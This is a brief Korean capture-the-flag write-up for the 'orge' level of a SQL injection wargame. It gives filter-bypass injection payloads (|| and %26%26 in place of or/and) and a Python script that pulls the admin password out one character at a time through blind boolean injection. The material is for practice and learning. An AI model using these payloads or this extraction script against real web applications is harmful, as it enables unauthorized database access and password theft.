Write-Up
orc 문제와 유사한 문제였다. 달랐던 점은 or 와 and 의 필터링을 우회해야 한다는 점이였다. 문제를 풀어보도록 한다!
?pw=1%27||%20id%20like%20%27admin%27%23
" Hello admin " 이 출력되지만, if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 조건을 만족 시키지 못한다.
?pw=1%27%20||%20id%20=%20%27admin%27%20%26%26%20length(pw)=8%23
위 코드를 통해, pw의 길이를 파악한다. 중요한 점은 request 요청 시, &&가 파라미터 구분자로 인식되어 제대로 요청이 되지 않았고, url encoding 시켜 %26로 전달했다.
import requests
import string
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'|| "
cookies ={'PHPSESSID':"m6c15ihc3qg0rpcgoaujbiepme"}
char = string.digits+string.ascii_letters
result=""
for i in range(1,9):
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
result += j
break
print("pw: "+result)
참고
https://keep-going99.tistory.com/669